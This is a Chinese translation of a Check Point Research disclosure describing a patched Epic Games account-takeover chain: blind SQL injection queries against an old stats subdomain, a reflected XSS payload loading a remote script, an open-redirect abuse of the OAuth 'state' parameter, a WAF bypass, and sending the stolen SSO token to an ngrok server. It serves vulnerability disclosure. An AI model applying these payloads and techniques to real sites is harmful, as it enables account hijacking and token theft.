原文地址:https://research.checkpoint.com/hacking-fortnite/

前言

在Epic Games的大型游戏堡垒之夜中,玩家在虚拟世界中相互争夺武器和工具,以保证自己能存活下来,成为“最后的胜利者”。

然而在过去的几周中,Check Point Research在Epic Games的在线平台中发现了多个漏洞,可以让攻击者接管任何玩家的账号,查看他们的个人账号信息、购买V币(堡垒之夜的游戏内虚拟货币)以及窃听玩家游戏内的聊天。

堡垒之夜由美国游戏开发商Epic Games开发,该游戏几乎占其公司估值(50亿-80亿美金)的一半。随着价值的快速增长,这个游戏会引起网络犯罪分子的注意也不足为奇了,他们会对毫不知情的游戏玩家下手。

网络犯罪分子通常通过欺骗玩家进入钓鱼网站,这些网站承诺会给玩家V币。这种商品通常只能通过堡垒之夜的官方商店获得,或者是从游戏中获得。这些网站会催促玩家输入他们的游戏账号以及个人信息,比如姓名、地址和信用卡等信息,还会通过社交媒体传播这些信息,声称玩家可以“轻松赚钱”。

我们的团队发现了更为复杂和阴险的方法,这种方法不需要用户的账户信息。通过在Epic Game的子域名中发现的漏洞,用户只需要点击了发送给他们的链接,就可以进行XSS攻击。点击之后,不需要任何登录信息,他们的用户名和密码会立刻被攻击者捕获。

Check Point Research向Epic Games通报了此漏洞,目前已发布补丁,以确保上百万的玩家可以在安全的环境中进行游戏。

攻击视频Demo:

https://youtu.be/poQmRWWh45s

技术细节

我们发现Epic Games有许多老旧的子域名,比如"http://ut2004stats.epicgames.com/ "。我们的故事就从这里开始了。

SQL 注入

子域名http://ut2004stats.epicgames.com/ 让我们发现了一个有趣的GET请求,请求的是这个路径:

/serverstats.php?server=[some server code]

如果在请求中加入"sign",会发生什么呢?

好吧,服务器的响应是:“服务器数据库错误”!

这当然是一个很好的突破点,这个地方可能存在SQL注入(目前我们假设服务器使用的是MYSQL数据库)。

测试发现网站存在WAF,使用的是黑名单过滤而非白名单。因此,我们遇到了其中一个限制是无法查询许多系统表(例如information_schema)。

但是如果我们使用系统变量(@@)呢?事实上,有人似乎忘记了它们的存在,它们的效果超出了我们的预期!

if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)

通过谷歌搜索发现37514065是一个有效的服务器代码。顺着这个思路,我们执行以下查询看看响应会是什么:

4014字节长度的响应包代表此字符未出现在查询结果中,12609字节的响应包代表该字符出现在了查询结果中。

例如:

if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0)

返回4014字节。

请求包:

图1:第一次SQL注入查询

返回包:

图2:初始SQL查询的4014字节长度响应包。

当然,如果查询

if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)

返回包长度为12609字节,我们就可以知道所使用的MySQL版本是5。

图3:第二次SQL注入查询。

图4:对应该查询的12609字节长度的响应。

通过这种方式获取的数据会在后面给我们提供帮助。

跨站脚本攻击(XSS)

我们继续进行研究时,发现子域名“ http://ut2004stats.epicgames.com ”包含一个名为“maps”的网页。我们猜测此网页用于展示按地图名称或ID排序的锦标赛统计信息。

当你在挖掘XSS漏洞的时候,无论是反射性还是存储型,毫无疑问你会去寻找你输入内容的反馈——我们在搜索组件中找到了它,这个页面的另一个功能是搜索栏,它将充当XSS漏洞的注入点。

举例:

这是我们的第二个重大突破,我们在“ut2004stats.epicgames.com”上有了一个XSS攻击点。作为主域名“epicgames.com”的子域名,它也会为我们最后的攻击阶段提供很大的帮助。

oAuth帐户接管

在接下来的几天,我们都在寻找一个可能的攻击点。

事实上,从一开始我们就有一个成员对SSO机制有一种特殊的感觉。不排除这里有出问题的地方,于是我们仔细研究了下SSO,并发现Epic Games确实写了一个通用SSO接口,为多个登录程序提供服务。是时候深究一下这个接口了。

事实证明,玩家点击“登录”按钮登录账户时,Epic Games会生成一个包含redirectURL参数的URL(如下所示)。这个参数会在之后被“accounts.epicgames.com”用于重定向到用户的账户界面。

https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true

5:玩家登录其帐户后的重定向链接。

然而,我们很快就发现了可以控制重定向URL让其定向到任意域名为“* .epicgames.com”的网页。

因为能“redirectedURL”参数可控,我们就可以让受害者重定向到包含XSS payload的“ut2004stats.epicgames.com”:

http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>

这个JavaScript payload可以向任意SSO提供商发起请求。请求中包含一个“state”参数,其后“accounts.epicgames.com”使用这个参数完成认证过程。

JavaScript payload包含构造过的“state”参数。这个参数包含一个Base64编码过的JSON数据,JSON有三个键“redirectUrl”、“client_id”和“prodectName”。“redirectURL”参数用于在SSO登陆后重定向。

多个SSO提供商

尝试登录堡垒之夜的用户会注意到Epic Games使用了多个SSO提供商:PlayStationNetwork、Xbox Live、Nintendo、Fackbook和Google+。使用相同的技术,都可以使这些SSO提供商中的其中一个重新创建与上述相同的过程。出于验证目的,我们选择Fackbook作为SSO提供商。

如您所见,我们构造了“state”参数,它会重定向到一个带XSS payload的“ut2004stats.epicgames.com”页面。

https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends

图6:重定向到有XSS payload的“ut2004stats.epicgames.com”

SSO提供商(本例中为Facebook),返回一个重定向到“accounts.epicgames.com”响应,响应里包含构造过的“state”参数。

图7: Facebook对重定向到包含构造过的“state”参数的“accounts.epicgames.com”的响应。

接着,Epic Games从SSO提供商处获取“代码”(即SSO令牌)和构造过的“state”参数,并向Epic Games的服务器发起请求以完成认证:

图8: Epic Games对其服务器的请求,带有从SSO收到的攻击者构造的“state”参数。

作为回应,Epic Games的服务器生成一个未验证输入的响应,并将用户重定向至有XSS payload和SSO令牌的“ut2004stats.epicgames.com”:

图9: Epic Games的服务器响应未验证的输入,并使用XSS payload和SSO令牌将用户重定向到“ut2004stats.epicgames.com”。

最后,用户被重定向至执行XSS的漏洞网页,身份验证代码被窃取:

图10:执行XSS的漏洞网页

这里一个大问题(对于Epic Games而言)是服务器端未对“state”参数进行输入验证。

注意,我们现在重定向到了有XSS漏洞的“ut2004stats.epicgames.com”页面。因此虽然“CORS”机制是由Epic Games实现的,但“ut2004stats.epicgames.com”仍可以向“account.epicgames.com”发起请求。

绕过WAF

当执行XSS payload时,请求被WAF拦截了。显然,唯一的问题就是脚本的src URL过长,所以使用短URL就可以绕过了。

现在我们有一个可以加载自己的JavaScript的XSS,然后它会在“ut2004stats.epicgames.com”的内容中被执行。

是时候写一些JavaScript代码了:

图11:用于传递XSS payload的JavaScript代码。

XSS Payload

该代码会打开一个窗口,向SSO提供商服务器(本例中为Facebook)发出oAuth请求,其中包含所有用户cookie和构造过的的“state”参数。

Fackbook返回一个重定向到“account.epicgames.com”的响应,其中包含SSO令牌(“code”参数)以及构造过的“state参数”。

由于用户已经登录到了他的Fackbook账户,“account.epicgames.com”服务器会重定向到“state”参数中找到的URL,本例中会带着XSS Payload和Facebook的用户oAuth令牌跳转到“ut2004stats.epicgames.com”页面。

最后,令牌被提取出来,发送到攻击者的服务器(出于验证目的我们使用“ngrok”服务器——http://0aa62240.ngrok.io/)

图12: Ngrok服务器接收带有SSO令牌的请求。

图13: Ngrok服务器接收带有SSO令牌的请求。

攻击者现在拥有用户的Facebook令牌,可以登录受害者的帐户:

图14:攻击者捕获到的用户的Facebook令牌。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖